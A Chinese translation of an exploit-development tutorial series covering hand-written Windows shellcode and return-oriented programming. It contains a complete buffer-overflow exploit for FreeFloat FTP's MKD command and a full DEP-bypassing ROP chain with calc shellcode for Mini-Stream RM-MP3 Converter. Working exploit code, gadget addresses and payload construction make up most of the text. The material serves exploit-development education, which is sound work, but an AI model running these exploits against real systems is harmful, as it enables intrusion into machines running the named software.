Structure:                              Parameters:

int WINAPI MessageBox(          =>      user32.dll的MessageBoxA地址
  __in_opt  HWND hWnd,          =>      0x00000000 (NULL = No Window Owner)
  __in_opt  LPCTSTR lpText,     =>      指向"Pop the box!"
  __in_opt  LPCTSTR lpCaption,  =>      指向"b33f"
  __in      UINT uType          =>      0x00000000 (MB_OK|MB_APPLMODAL)


看起来有点复杂, 但是没有什么不能解决的. 和前面不同的是这里有两个ASCII字符串需要处理.

先用arwin在user32.dll找到MessageBoxA的地址

arwin.exe user32.dll MessageBoxA




好的, 像之前一样布置字符串如下.：

ASCII Text:                                             ASCII Text:
b33f                                                    Pop the box!

Split Text into groups of 4 characters:                 Split Text into groups of 4 characters:
"b33f"                                                  "Pop "
                                                        "the "
                                                        "box!"

Reverse the order of the character groups:              Reverse the order of the character groups:
"b33f"                                                  "box!"
                                                        "the "
                                                        "Pop "

Look on google for a ASCII to hex converter             Look on google for a ASCII to hex converter
and convert each character while maintaining            and convert each character while maintaining
the order:                                              the order:
"\x62\x33\x33\x66"                                      "\x62\x6F\x78\x21"
                                                        "\x74\x68\x65\x20"
                                                        "\x50\x6F\x70\x20"

To write these values to the stack simply add           To write these values to the stack simply add
"\x68" infront of each group:                           "\x68" infront of each group:
"\x68\x62\x33\x33\x66" => PUSH "b33f"                   "\x68\x62\x6F\x78\x21" => PUSH "box!"
                                                        "\x68\x74\x68\x65\x20" => PUSH "the "
                                                        "\x68\x50\x6F\x70\x20" => PUSH "Pop "


还有两个参数:hWnd和uType. 这两个参数都设置为0x00000000就好了, 很方便, 通过异或一个寄存器就可以. 反正我们之前也是要异或寄存器得到\x00作为ASCII字符串结束符.

这是我写的shellcode(当然, 你可以写你自己的

正确的方法:
"\x33\xc0"             => XOR EAX,EAX          |  Zero out EAX register
"\x50"                 => PUSH EAX             |  Push EAX to have null-byte padding for "b33f"
"\x68\x62\x33\x33\x66" => PUSH "b33f"          |  Push The ASCII string to the stack
"\x8B\xCC"             => MOV ECX,ESP          |  Put a pointer to lpCaption string in ECX
"\x50"                 => PUSH EAX             |  Push EAX to have null-byte padding for "Pop the box!"
"\x68\x62\x6F\x78\x21" => PUSH "box!"          \  
"\x68\x74\x68\x65\x20" => PUSH "the "           | Push The ASCII string to the stack
"\x68\x50\x6F\x70\x20" => PUSH "Pop "          /  
"\x8B\xD4"             => MOV EDX,ESP          |  Put a pointer to lpText string in EDX
"\x50"                 => PUSH EAX             |  Push uType=0x00000000
"\x51"                 => PUSH ECX             |  Push lpCaption
"\x52"                 => PUSH EDX             |  Push lpText
"\x50"                 => PUSH EAX             |  Push hWnd=0x00000000
"\xBE\xEA\x07\x45\x7E" => MOV ESI,7E4507EA     |  Move the pointer to MessageBoxA() into ESI
"\xFF\xD6"             => CALL ESI             |  Call MessageBoxA()
)


看下面的截图, 参数显示正确, 继续运行将会弹出 一个消息框.





#!/usr/bin/python
    
#----------------------------------------------------------------------------------#
# Exploit: FreeFloat FTP (MKD BOF)                                                 #
# OS: WinXP PRO SP3                                                                #
# Author: b33f (Ruben Boonen)                                                      #
# Software: http://www.freefloat.com/software/freefloatftpserver.zip               #
#----------------------------------------------------------------------------------#
# This exploit was created for Part 6 of my Exploit Development tutorial           #
# series - http://www.fuzzysecurity.com/tutorials/expDev/6.html                    #
#----------------------------------------------------------------------------------#
  
import socket
import sys
  
#----------------------------------------------------------------------------------#
# (*) WinExec                                                                      #
# (*) arwin.exe => Kernel32.dll - WinExec 0x7C862AED                               #
# (*) MSDN Structure:                                                              #
#                                                                                  #
# UINT WINAPI WinExec(            => PTR to WinExec                                #
#   __in  LPCSTR lpCmdLine,       => calc.exe                                      #
#   __in  UINT uCmdShow           => 0x1                                           #
# );                                                                               #
#                                                                                  #
# Final Size => 26-bytes (metasploit version size => 227-bytes)                    #
#----------------------------------------------------------------------------------#
WinExec = (
"\x33\xc0"                          # XOR EAX,EAX
"\x50"                              # PUSH EAX      => padding for lpCmdLine
"\x68\x2E\x65\x78\x65"              # PUSH ".exe"
"\x68\x63\x61\x6C\x63"              # PUSH "calc"
"\x8B\xC4"                          # MOV EAX,ESP
"\x6A\x01"                          # PUSH 1
"\x50"                              # PUSH EAX
"\xBB\xED\x2A\x86\x7C"              # MOV EBX,kernel32.WinExec
"\xFF\xD3")                         # CALL EBX
 
#----------------------------------------------------------------------------------#
# (*) MessageBoxA                                                                  #
# (*) arwin.exe => user32.dll - MessageBoxA 0x7E4507EA                             #
# (*) MSDN Structure:                                                              #
#                                                                                  #
# int WINAPI MessageBox(          => PTR to MessageBoxA                            #
#   __in_opt  HWND hWnd,          => 0x0                                           #
#   __in_opt  LPCTSTR lpText,     => Pop the box!                                  #
#   __in_opt  LPCTSTR lpCaption,  => b33f                                          #
#   __in      UINT uType          => 0x0                                           #
# );                                                                               #
#                                                                                  #
# Final Size => 39-bytes (metasploit version size => 287-bytes)                    #
#----------------------------------------------------------------------------------#
MessageBoxA = (
"\x33\xc0"                          # XOR EAX,EAX
"\x50"                              # PUSH EAX      => padding for lpCaption
"\x68\x62\x33\x33\x66"              # PUSH "b33f"
"\x8B\xCC"                          # MOV ECX,ESP   => PTR to lpCaption
"\x50"                              # PUSH EAX      => padding for lpText
"\x68\x62\x6F\x78\x21"              # PUSH "box!"
"\x68\x74\x68\x65\x20"              # PUSH "the "
"\x68\x50\x6F\x70\x20"              # PUSH "Pop "
"\x8B\xD4"                          # MOV EDX,ESP   => PTR to lpText
"\x50"                              # PUSH EAX - uType=0x0
"\x51"                              # PUSH ECX - lpCaption
"\x52"                              # PUSH EDX - lpText
"\x50"                              # PUSH EAX - hWnd=0x0
"\xBE\xEA\x07\x45\x7E"              # MOV ESI,USER32.MessageBoxA
"\xFF\xD6")                         # CALL ESI
  
#----------------------------------------------------------------------------------#
# Badchars: \x00\x0A\x0D                                                           #
# 0x77c35459 : push esp #  ret  | msvcrt.dll                                       #
# shellcode at ESP => space 749-bytes                                              #
#----------------------------------------------------------------------------------#
  
buffer = "\x90"*20 + MessageBoxA
evil = "A"*247 + "\x59\x54\xC3\x77" + buffer + "C"*(749-len(buffer))
  
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('192.168.111.128',21))
  
s.recv(1024)
s.send('USER anonymous\r\n')
s.recv(1024)
s.send('PASS anonymous\r\n')
s.recv(1024)
s.send('MKD ' + evil + '\r\n')
s.recv(1024)
s.send('QUIT\r\n')
s.close











第七部分：返回导向编程(ROP)

前言

欢迎来到第七部分, 经过前面的学习, 可能你想做一些更有挑战性的事. 好的, 本节我们将要学习的是ROP(返回导向编程). 不像前一节我们把参数精心布置在堆栈然后调用Windwos API去执行它们. 所有介绍ROP教程都需要你做很多的工作才能掌握它. 但是在次提醒本教程不会覆盖ROP所有细节. 如果你想更好的理解ROP我推荐你看corelanc0d3r’s的文章

我将用"Mini-Stream RM-MP3 Converter 3.1.2.1"来介绍这项技术. 之前的一个漏洞利用程序在这里, 但是我们要做一些不一样的东西, 它更高效.

调试机器：Windows 7(任何Windows 7版本都可以, 我用的是WIN7 PRO SP1)

坏字符：”\x00\x09\x0a”

漏洞软件：下载

介绍

为什么要学习ROP? 人们滥用堆栈溢出很多年. 为了减轻攻击带来的损失. 微软从WIN XP SP2和WIN SERVER 2003开始引进了一项新的安全措施对抗从不可执行区域范围执行代码. DEP(数据执行保护)包含两部分：

硬件DEP: CPU置内存为不可执行

软件DEP

支持硬件DEP的CPU会拒绝执行被标记为不可执行的(NX)内存页的代码. 这么做的目的是防止攻击者将恶意代码注入的另外一个程序执行. 尤其是基于栈溢出的漏洞, 由于DEP, 上的shellcode将不会被执行. 但DEP有时会造成程序意外错误, 因为程序有时候可能需要在不可执行区域执行代码. 为了解决这个问题, 微软提供了两种DEP配置.

Opt-In Mode:DEP只对系统进程和特别定义的进程启用

Opt-Out Mode:DEP对系统所有进程和服务启用，除了禁用的进程.

这对漏洞利用意味着什么？当我们尝试在启用DEP的内存执行代码, 程序将会返回一个访问冲突” STATUS_ACCESS_VIOLATION (0xc0000005)" . 然后程序就终止了. 对于攻击者来说这显然不是好事. 但是有趣的是DEP可以被关闭, 这意味着调用某个Windows API可以把某段不可执行区域设置为可执行. 主要的问题仍然是, 如果我们不能执行任何代码的话又怎么去调用这个API呢？

开始我们的ROP(返回导向编程). 这项技术最早由Sebastian Krahmer 在2005的SUSE Linux提出. 你可以在这里找到这篇文档. ROP基本的思想是借助已经存在的代码块(也叫配件), 这些配件来自程序已经加载的模块, 用这些配件为我们的目标API设置参数. 我们可以在已加载的模块中找到一些列以retn结尾的配件, 把这些配件的地址布置在堆栈上, 当控制EIP并返回时候, 程序就会跳去执行这些小配件, 而这些小配件是在别的模块代码段, 不受DEP的影响. 这就是ROP的原理, 下面的这个例子可以帮助我们更好的理解它:

(1) 指针直接执行retn                    (2) 指针指向一些指令+retn

ESP -> ???????? => RETN                     ESP -> ???????? => POP EAX # RETN
       ???????? => RETN                           ffffffff => we put this value in EAX
       ???????? => RETN                         ???????? => INC EAX # RETN
       ???????? => RETN                         ???????? => XCHG EAX,EDX # RETN
(1)这里retn仅仅是增加esp             (2) 用配件将EDX清0


相信你已经理解ROP的思想了. 下面我们列举所有的ROP配件一会会用它们布置目标API的参数, 目标API才是真正关闭DEP的函数. 这项技术成功的关键在于我们需要在未启用ASLR的模块去寻找这些小配件.

下面是不同的API在不同的系统下可用情况. 



可以看到不止一种方法可以达到目的. 有些方法更普遍. 不同的API有不同的参数, 详细的参数请看MSDN. 一般而言系统模块都启用了ASLR. 所以我们从软件自身加载的模块看是否包含这些API的指针.

基本上有两种方式写ROP

(1)把API需要的参数都放到寄存器, 用一个push指令把他们压入栈（这是下面我们要做的）

(2)直接把API需要的参数布置到栈然后跳去这个API执行, 这种方法有点难.

最后我要提一点, 对payload创建一个完整的ROP也是可以的.

收集配件

漏洞利用比较抽象, 你得到的信息越多, 你看的就越清楚, 离成功也就越近. 让我们看看下面这个POC, BBBB将会覆写EIP.

#!/usr/bin/python
 
import sys, struct
 
file="crash.m3u"
 
 
#---------------------------------------------------------------------#
# Badchars: '\x00\x09\x0A'                                            #
#---------------------------------------------------------------------#
crash = "http://." + "A"*17416 + "B"*4 + "C"*7572
 
writeFile = open (file, "w")
writeFile.write( crash )
writeFile.close()


老办法, 附加Mini-Stream 到调试器然后打开crash.m3u文件. 你可以看到下图所示的崩溃. 有几点值得注意：

(1)ESP指向我们的缓冲区真是好消息因为我们可以用retn指令地址覆写EIP从而跳到我们ROP链的开始. 

(2)我们看到ESP指向EIP+4的位置, 稍后我们要填充着4个字节.



好. 我们基本搞清了内存布局. 用mona看看软件加载了哪些模块(记住只要没有non-base, no-ASLR,no 坏字符). 看起来只有一个dll符合要求(MSRMfilter03.dll). 接下来用mona搜索ROP链需要的小配件. 分别执行这两个命令：

!mona modules
!mona ropfunc -m MSRMfilter03.dll -cpb '\x00\x09\x0a'






最后就是用mona在MSRMfilter03.dll找到这些小配件, mona会生成几个重要的文件:

“rop.txt”(ROP配件的原始列表), 

“rop_suggestions.txt”(基于函数过滤后的ROP配件列表), 

“stackpivot.txt”(转移ESP的配件), 

“rop_virtualprotect.txt”(基于VirtualProtect函数的ROP链小配件). 

我建议打开这些文件方便随时参考. 尽管我们将要用VirtualAlloc去禁用DEP, 我们同样会看看“rop_virtualprotect.txt 是否有我们需要的小配件.

!mona rop -m MSRMfilter03.dll -cpb '\x00\x09\x0a'



构建ROP-Chain

在开始之前, 像之前看到的我们可以用retn指令地址覆写EIP, 如果你打开rop.txt你可以选择其中一个retn地址, 用这个地址替换BBBB, 别忘记填充4个自己（ESP=EIP+4）

#!/usr/bin/python
 
import sys, struct
 
file="crash.m3u"
 
rop = struct.pack('<L',0x41414141)  # padding to compensate 4-bytes at ESP
 #---------------------------------------------------------------------#
# Badchars: '\x00\x09\x0a'                                            #
# kernel32.virtualalloc: 0x1005d060 (MSRMfilter03.dll)                #
# EIP: 0x10019C60 Random RETN (MSRMfilter03.dll)                      #
#---------------------------------------------------------------------#
crash = "http://." + "A"*17416 + "\x60\x9C\x01\x10" + rop + "C"*(7572-len(rop))
 
writeFile = open (file, "w")
writeFile.write( crash )
writeFile.close()


不错, 下面看看VirtualAlloc这个API. 我建议你花点时间读下MSDN文件, 便于更好理解我们要使用的参数.

VirtualAlloc: MSDN

结构:                                 参数:

LPVOID WINAPI VirtualAlloc(          =>    A pointer to VirtualAlloc()
  _In_opt_  LPVOID lpAddress,        =>    Return Address (Redirect Execution to ESP)
  _In_      SIZE_T dwSize,           =>    dwSize (0x1)
  _In_      DWORD flAllocationType,  =>    flAllocationType (0x1000)
  _In_      DWORD flProtect          =>    flProtect (0x40)
);


可以看到大部分参数值只需要保持默认即可. 你同样可以用VirtualProtect这个API去完成任务.

VirtualProtect: MSDN

结构:                                 参数:

BOOL WINAPI VirtualProtect(          =>    A pointer to VirtualProtect()
  _In_   LPVOID lpAddress,           =>    Return Address (Redirect Execution to ESP)
  _In_   SIZE_T dwSize,              =>    dwSize up to you to chose as needed (0x201)
  _In_   DWORD flNewProtect,         =>    flNewProtect (0x40)
  _Out_  PDWORD lpflOldProtect       =>    A writable pointer
);


记住这些信息, 开始改变我们的POC, 使我们对ROP-Chain有更清晰的认识

#!/usr/bin/python
 
import sys, struct
 
file="crash.m3u"
 
#---------------------------------------------------------[Structure]-#
# LPVOID WINAPI VirtualAlloc(         => PTR to VirtualAlloc          #
#   _In_opt_  LPVOID lpAddress,       => Return Address (Call to ESP) #
#   _In_      SIZE_T dwSize,          => dwSize (0x1)                 #
#   _In_      DWORD flAllocationType, => flAllocationType (0x1000)    #
#   _In_      DWORD flProtect         => flProtect (0x40)             #
# );                                                                  #
#---------------------------------------------------[Register Layout]-#
# Remember (1) the  stack  grows  downwards  so we  need to load the  #
# values into the registers in reverse order! (2) We are going to do  #
# some clever  trickery to  align our  return after  executing.  To   #
# acchieve this we will be filling EDI with a ROP-Nop and we will be  #
# skipping ESP leaving it intact.                                     #
#                                                                     #
# EAX 90909090 => Nop                                                 #
# ECX 00000040 => flProtect                                           #
# EDX 00001000 => flAllocationType                                    #
# EBX 00000001 => dwSize                                              #
# ESP ???????? => Leave as is                                         #
# EBP ???????? => Call to ESP (jmp, call, push,..)                    #
# ESI ???????? => PTR to VirtualAlloc - DWORD PTR of 0x1005d060       #
# EDI 10019C60 => ROP-Nop same as EIP                                 #
#---------------------------------------------------------------------#
rop = struct.pack('<L',0x41414141)  # padding to compensate 4-bytes at ESP
 
 
#---------------------------------------------------------------------#
# Badchars: '\x00\x09\x0a'                                            #
# kernel32.virtualalloc: 0x1005d060 (MSRMfilter03.dll)                #
# EIP: 0x10019C60 Random RETN (MSRMfilter03.dll)                      #
#---------------------------------------------------------------------#
crash = "http://." + "A"*17416 + "\x60\x9C\x01\x10" + rop + "C"*(7572-len(rop))
 
writeFile = open (file, "w")
writeFile.write( crash )
writeFile.close()


现在我们的任务是把ROP-Chain综合在一起设置VirtualAlloc的值. 我们需要整理这些指针, 因为某些指令的执行可能会改变已经设置好的寄存器. 先整理一些简单的

(1) EDI -> We need to put a ROP-Nop in EDI
0x10029b57 # POP EDI # RETN
0x1002b9ff # ROP-Nop (we already have this value from EIP)

(2) EBP -> Redirect Execution flow to ESP
0x100532ed # POP EBP # RETN
0x100371f5 # CALL ESP (!mona jmp -r ESP -m MSRMfilter03.dll -cpb '\x00\x09\x0a')
(3) EAX -> Fill with a regular NOP
0x10030361 # POP EAX # RETN
0x90909090 # NOP (just a regular NOP)

(4) We need to end our chain with a PUSHAD
0x10014720 # PUSHAD # RETN (can be found in rop_virtualprotect.txt)


别的一些可能令人费解, 需要一些创造力. 但是在我的努力下能把我们需要的指令链在一起. 下面就是我布置的ROP-Chain, 但这并不是唯一的选择. 布置ROP链有很多的方式, 发挥你的创造力吧.

(5) EBX -> dwSize (0x1)
0x10013b1c # POP EBX # RETN
0xffffffff # will be 0x1 (EBX will be set to 0xffffffff)
0x100319d3 # INC EBX # FPATAN # RETN  \ Increasing EBX twice will set EBX to 0x00000001
0x100319d3 # INC EBX # FPATAN # RETN  /

(6) EDX -> flAllocationType (0x1000)
0x1003fb3f # MOV EDX,E58B0001 # POP EBP # RETN (we move a static value into EDX for calculations)
0x41414141 # padding for POP EBP (compensation for the POP)
0x10013b1c # POP EBX # RETN
0x1A750FFF # ebx+edx => 0x1000 flAllocationType (FFFFFFFF-E58B0001=1A74FFFE => 1A74FFFE+00001001=1A750FFF)
0x10029f3e # ADD EDX,EBX # POP EBX # RETN 10 (when we add these valuse together the result is 0x00001000)
0x1002b9ff # Rop-Nop to compensate  \
0x1002b9ff # Rop-Nop to compensate   |
0x1002b9ff # Rop-Nop to compensate   | This is to compensate for the POP and RETN 10
0x1002b9ff # Rop-Nop to compensate   |
0x1002b9ff # Rop-Nop to compensate   |
0x1002b9ff # Rop-Nop to compensate  /

(7) ECX -> flProtect (0x40)
(This technique works because EDX points to a valid memory location at run-time!! I tested this on windows
XP and there it didn't seem to be the case. It would be an interesting exercise to make this gadget more
universal.)
0x100280de # POP ECX # RETN
0xffffffff # will become 0x40 (ECX will be set to 0xffffffff)
0x1002e01b # INC ECX # MOV DWORD PTR DS:[EDX],ECX # RETN  \ ECX will be set to 0x00000001
0x1002e01b # INC ECX # MOV DWORD PTR DS:[EDX],ECX # RETN  /
0x1002a487 # ADD ECX,ECX # RETN  \
0x1002a487 # ADD ECX,ECX # RETN   |
0x1002a487 # ADD ECX,ECX # RETN   | Adding ECX to itself cycles ECX -> 1,2,4,8,10,20,40 -> 0x00000040
0x1002a487 # ADD ECX,ECX # RETN   |
0x1002a487 # ADD ECX,ECX # RETN   |
0x1002a487 # ADD ECX,ECX # RETN  /

(8) ESI -> VirtualAlloc
(We already have a pointer to VirtualAlloc (0x1005d060) but we need the DWORD value that is located at
that pointer. Again here EBP points to a valid memory address (untested on XP).)
0x1002ba02 # POP EAX # RETN
0x1005d060 # kernel32.virtualalloc
0x10027f59 # MOV EAX,DWORD PTR DS:[EAX] # RETN (get the DWORD value located at 0x1005d060)
0x1005bb8e # PUSH EAX # ADD DWORD PTR SS:[EBP+5],ESI # PUSH 1 # POP EAX # POP ESI # RETN (EAX -> ESI)


有些序列似乎有点复杂，但他们不是很难理解，需要一些时间来看看, 理解它们。正如你所看到的一些小配件操纵多个寄存器加载合适的值. 我们需要布置的小配件在这不会影响我们的ROP链. 是时候把所有东西放在一起, 调整我们的POC如下：

#!/usr/bin/python
 
import sys, struct
 
file="crash.m3u"
 
#---------------------------------------------------------[Structure]-#
# LPVOID WINAPI VirtualAlloc(         => PTR to VirtualAlloc          #
#   _In_opt_  LPVOID lpAddress,       => Return Address (Call to ESP) #
#   _In_      SIZE_T dwSize,          => dwSize (0x1)                 #
#   _In_      DWORD flAllocationType, => flAllocationType (0x1000)    #
#   _In_      DWORD flProtect         => flProtect (0x40)             #
# );                                                                  #
#---------------------------------------------------[Register Layout]-#
# Remember (1) the  stack  grows  downwards  so we  need to load the  #
# values into the registers in reverse order! (2) We are going to do  #
# some clever  trickery to  align our  return after  executing.  To   #
# acchieve this we will be filling EDI with a ROP-Nop and we will be  #
# skipping ESP leaving it intact.                                     #
#                                                                     #
# EAX 90909090 => Nop                                                 #
# ECX 00000040 => flProtect                                           #
# EDX 00001000 => flAllocationType                                    #
# EBX 00000001 => dwSize                                              #
# ESP ???????? => Leave as is                                         #
# EBP ???????? => Call to ESP (jmp, call, push,..)                    #
# ESI ???????? => PTR to VirtualAlloc - DWORD PTR of 0x1005d060       #
# EDI 10019C60 => ROP-Nop same as EIP                                 #
#---------------------------------------------------------------------#
rop = struct.pack('<L',0x41414141)  # padding to compensate 4-bytes at ESP
rop += struct.pack('<L',0x10029b57) # POP EDI # RETN
rop += struct.pack('<L',0x1002b9ff) # ROP-Nop
                                    #-----------------------------------------[ROP-Nop -> EDI]-#
rop += struct.pack('<L',0x100280de) # POP ECX # RETN
rop += struct.pack('<L',0xffffffff) # will become 0x40
rop += struct.pack('<L',0x1002e01b) # INC ECX # MOV DWORD PTR DS:[EDX],ECX # RETN
rop += struct.pack('<L',0x1002e01b) # INC ECX # MOV DWORD PTR DS:[EDX],ECX # RETN
rop += struct.pack('<L',0x1002a487) # ADD ECX,ECX # RETN
rop += struct.pack('<L',0x1002a487) # ADD ECX,ECX # RETN
rop += struct.pack('<L',0x1002a487) # ADD ECX,ECX # RETN
rop += struct.pack('<L',0x1002a487) # ADD ECX,ECX # RETN
rop += struct.pack('<L',0x1002a487) # ADD ECX,ECX # RETN
rop += struct.pack('<L',0x1002a487) # ADD ECX,ECX # RETN
                                    #--------------------------------[flProtect (0x40) -> ECX]-#
rop += struct.pack('<L',0x1002ba02) # POP EAX # RETN
rop += struct.pack('<L',0x1005d060) # kernel32.virtualalloc
rop += struct.pack('<L',0x10027f59) # MOV EAX,DWORD PTR DS:[EAX] # RETN
rop += struct.pack('<L',0x1005bb8e) # PUSH EAX # ADD DWORD PTR SS:[EBP+5],ESI # PUSH 1 # POP EAX # POP ESI # RETN
                                    #------------------------------------[VirtualAlloc -> ESI]-#
rop += struct.pack('<L',0x1003fb3f) # MOV EDX,E58B0001 # POP EBP # RETN
rop += struct.pack('<L',0x41414141) # padding for POP EBP
rop += struct.pack('<L',0x10013b1c) # POP EBX # RETN
rop += struct.pack('<L',0x1A750FFF) # ebx+edx => 0x1000 flAllocationType
rop += struct.pack('<L',0x10029f3e) # ADD EDX,EBX # POP EBX # RETN 10
rop += struct.pack('<L',0x1002b9ff) # Rop-Nop to compensate
rop += struct.pack('<L',0x1002b9ff) # Rop-Nop to compensate
rop += struct.pack('<L',0x1002b9ff) # Rop-Nop to compensate
rop += struct.pack('<L',0x1002b9ff) # Rop-Nop to compensate
rop += struct.pack('<L',0x1002b9ff) # Rop-Nop to compensate
rop += struct.pack('<L',0x1002b9ff) # Rop-Nop to compensate
                                    #-----------------------[flAllocationType (0x1000) -> EDX]-#
rop += struct.pack('<L',0x100532ed) # POP EBP # RETN
rop += struct.pack('<L',0x100371f5) # CALL ESP
                                    #----------------------------------------[CALL ESP -> EBP]-#
rop += struct.pack('<L',0x10013b1c) # POP EBX # RETN
rop += struct.pack('<L',0xffffffff) # will be 0x1
rop += struct.pack('<L',0x100319d3) # INC EBX # FPATAN # RETN
rop += struct.pack('<L',0x100319d3) # INC EBX # FPATAN # RETN
                                    #------------------------------------[dwSize (0x1) -> EBX]-#
rop += struct.pack('<L',0x10030361) # POP EAX # RETN
rop += struct.pack('<L',0x90909090) # NOP
                                    #---------------------------------------------[NOP -> EAX]-#
rop += struct.pack('<L',0x10014720) # PUSHAD # RETN
                                    #----------------------------------------[PUSHAD -> pwnd!]-#
 
#---------------------------------------------------------------------#
# Badchars: '\x00\x09\x0a'                                            #
# kernel32.virtualalloc: 0x1005d060 (MSRMfilter03.dll)                #
# EIP: 0x10019C60 Random RETN (MSRMfilter03.dll)                      #
#---------------------------------------------------------------------#
crash = "http://." + "A"*17416 + "\x60\x9C\x01\x10" + rop + "C"*(7572-len(rop))
 
writeFile = open (file, "w")
writeFile.write( crash )
writeFile.close()


你可以调试这个ROP链, 以确保一切按计划进行. 

在下面的截图中可以看到VirtualAlloc是在堆栈上被调用的. 布置在后面的任何代码都会被执行.



Shellcode+游戏结束

ROP第二阶段就是要插入我们要执行的shellcode, 由于我们没有分配大量的内存，所以我们可控的空间是有限的. 没关系, 我使用SkyLined的calc  shellcode（有兴趣的话你可以看看这里）. 但其实可以分配更大内存的, 这留给你们去完成.

#!/usr/bin/python
 
#----------------------------------------------------------------------------------#
# Exploit: Mini-stream RM-MP3 Converter 3.1.2.1 (*.m3u)                            #
# OS: Win7 Pro SP1                                                                 #
# Author: b33f (Ruben Boonen)                                                      #
# Software: http://www.exploit-db.com/wp-content/themes/exploit/applications       #
#          /ce47c348747cd05020b242da250c0da3-Mini-streamRM-MP3Converter.exe        #
#----------------------------------------------------------------------------------#
# This exploit was created for Part 7 of my Exploit Development tutorial           #
# series - http://www.fuzzysecurity.com/tutorials/expDev/7.html                    #
#----------------------------------------------------------------------------------#
 
import sys, struct
 
file="crash.m3u"
 
#---------------------------------------------------------[Structure]-#
# LPVOID WINAPI VirtualAlloc(         => PTR to VirtualAlloc          #
#   _In_opt_  LPVOID lpAddress,       => Return Address (Call to ESP) #
#   _In_      SIZE_T dwSize,          => dwSize (0x1)                 #
#   _In_      DWORD flAllocationType, => flAllocationType (0x1000)    #
#   _In_      DWORD flProtect         => flProtect (0x40)             #
# );                                                                  #
#---------------------------------------------------[Register Layout]-#
# Remember (1) the  stack  grows  downwards  so we  need to load the  #
# values into the registers in reverse order! (2) We are going to do  #
# some clever  trickery to  align our  return after  executing.  To   #
# acchieve this we will be filling EDI with a ROP-Nop and we will be  #
# skipping ESP leaving it intact.                                     #
#                                                                     #
# EAX 90909090 => Nop                                                 #
# ECX 00000040 => flProtect                                           #
# EDX 00001000 => flAllocationType                                    #
# EBX 00000001 => dwSize                                              #
# ESP ???????? => Leave as is                                         #
# EBP ???????? => Call to ESP (jmp, call, push,..)                    #
# ESI ???????? => PTR to VirtualAlloc - DWORD PTR of 0x1005d060       #
# EDI 10019C60 => ROP-Nop same as EIP                                 #
#---------------------------------------------------------------------#
rop = struct.pack('<L',0x41414141)  # padding to compensate 4-bytes at ESP
rop += struct.pack('<L',0x10029b57) # POP EDI # RETN
rop += struct.pack('<L',0x1002b9ff) # ROP-Nop
                                    #-----------------------------------------[ROP-Nop -> EDI]-#
rop += struct.pack('<L',0x100280de) # POP ECX # RETN
rop += struct.pack('<L',0xffffffff) # will become 0x40
rop += struct.pack('<L',0x1002e01b) # INC ECX # MOV DWORD PTR DS:[EDX],ECX # RETN
rop += struct.pack('<L',0x1002e01b) # INC ECX # MOV DWORD PTR DS:[EDX],ECX # RETN
rop += struct.pack('<L',0x1002a487) # ADD ECX,ECX # RETN
rop += struct.pack('<L',0x1002a487) # ADD ECX,ECX # RETN
rop += struct.pack('<L',0x1002a487) # ADD ECX,ECX # RETN
rop += struct.pack('<L',0x1002a487) # ADD ECX,ECX # RETN
rop += struct.pack('<L',0x1002a487) # ADD ECX,ECX # RETN
rop += struct.pack('<L',0x1002a487) # ADD ECX,ECX # RETN
                                    #--------------------------------[flProtect (0x40) -> ECX]-#
rop += struct.pack('<L',0x1002ba02) # POP EAX # RETN
rop += struct.pack('<L',0x1005d060) # kernel32.virtualalloc
rop += struct.pack('<L',0x10027f59) # MOV EAX,DWORD PTR DS:[EAX] # RETN
rop += struct.pack('<L',0x1005bb8e) # PUSH EAX # ADD DWORD PTR SS:[EBP+5],ESI # PUSH 1 # POP EAX # POP ESI # RETN
                                    #------------------------------------[VirtualAlloc -> ESI]-#
rop += struct.pack('<L',0x1003fb3f) # MOV EDX,E58B0001 # POP EBP # RETN
rop += struct.pack('<L',0x41414141) # padding for POP EBP
rop += struct.pack('<L',0x10013b1c) # POP EBX # RETN
rop += struct.pack('<L',0x1A750FFF) # ebx+edx => 0x1000 flAllocationType
rop += struct.pack('<L',0x10029f3e) # ADD EDX,EBX # POP EBX # RETN 10
rop += struct.pack('<L',0x1002b9ff) # Rop-Nop to compensate
rop += struct.pack('<L',0x1002b9ff) # Rop-Nop to compensate
rop += struct.pack('<L',0x1002b9ff) # Rop-Nop to compensate
rop += struct.pack('<L',0x1002b9ff) # Rop-Nop to compensate
rop += struct.pack('<L',0x1002b9ff) # Rop-Nop to compensate
rop += struct.pack('<L',0x1002b9ff) # Rop-Nop to compensate
                                    #-----------------------[flAllocationType (0x1000) -> EDX]-#
rop += struct.pack('<L',0x100532ed) # POP EBP # RETN
rop += struct.pack('<L',0x100371f5) # CALL ESP
                                    #----------------------------------------[CALL ESP -> EBP]-#
rop += struct.pack('<L',0x10013b1c) # POP EBX # RETN
rop += struct.pack('<L',0xffffffff) # will be 0x1
rop += struct.pack('<L',0x100319d3) # INC EBX # FPATAN # RETN
rop += struct.pack('<L',0x100319d3) # INC EBX # FPATAN # RETN
                                    #------------------------------------[dwSize (0x1) -> EBX]-#
rop += struct.pack('<L',0x10030361) # POP EAX # RETN
rop += struct.pack('<L',0x90909090) # NOP
                                    #---------------------------------------------[NOP -> EAX]-#
rop += struct.pack('<L',0x10014720) # PUSHAD # RETN
                                    #----------------------------------------[PUSHAD -> pwnd!]-#
 
# SkyLined's Calc shellcode
calc = (
"\x31\xD2\x52\x68\x63\x61\x6C\x63\x89\xE6\x52\x56\x64"
"\x8B\x72\x30\x8B\x76\x0C\x8B\x76\x0C\xAD\x8B\x30\x8B"
"\x7E\x18\x8B\x5F\x3C\x8B\x5C\x1F\x78\x8B\x74\x1F\x20"
"\x01\xFE\x8B\x4C\x1F\x24\x01\xF9\x42\xAD\x81\x3C\x07"
"\x57\x69\x6E\x45\x75\xF5\x0F\xB7\x54\x51\xFE\x8B\x74"
"\x1F\x1C\x01\xFE\x03\x3C\x96\xFF\xD7")
 
#---------------------------------------------------------------------#
# Badchars: '\x00\x09\x0a'                                            #
# kernel32.virtualalloc: 0x1005d060 (MSRMfilter03.dll)                #
# EIP: 0x10019C60 Random RETN (MSRMfilter03.dll)                      #
#---------------------------------------------------------------------#
shell = "\x90"*5 + calc
crash = "http://." + "A"*17416 + "\x60\x9C\x01\x10" + rop + shell + "C"*(7572-len(rop + shell))
 
writeFile = open (file, "w")
writeFile.write( crash )
writeFile.close()











第八部分：堆喷射第一节【覆写EIP】

前言

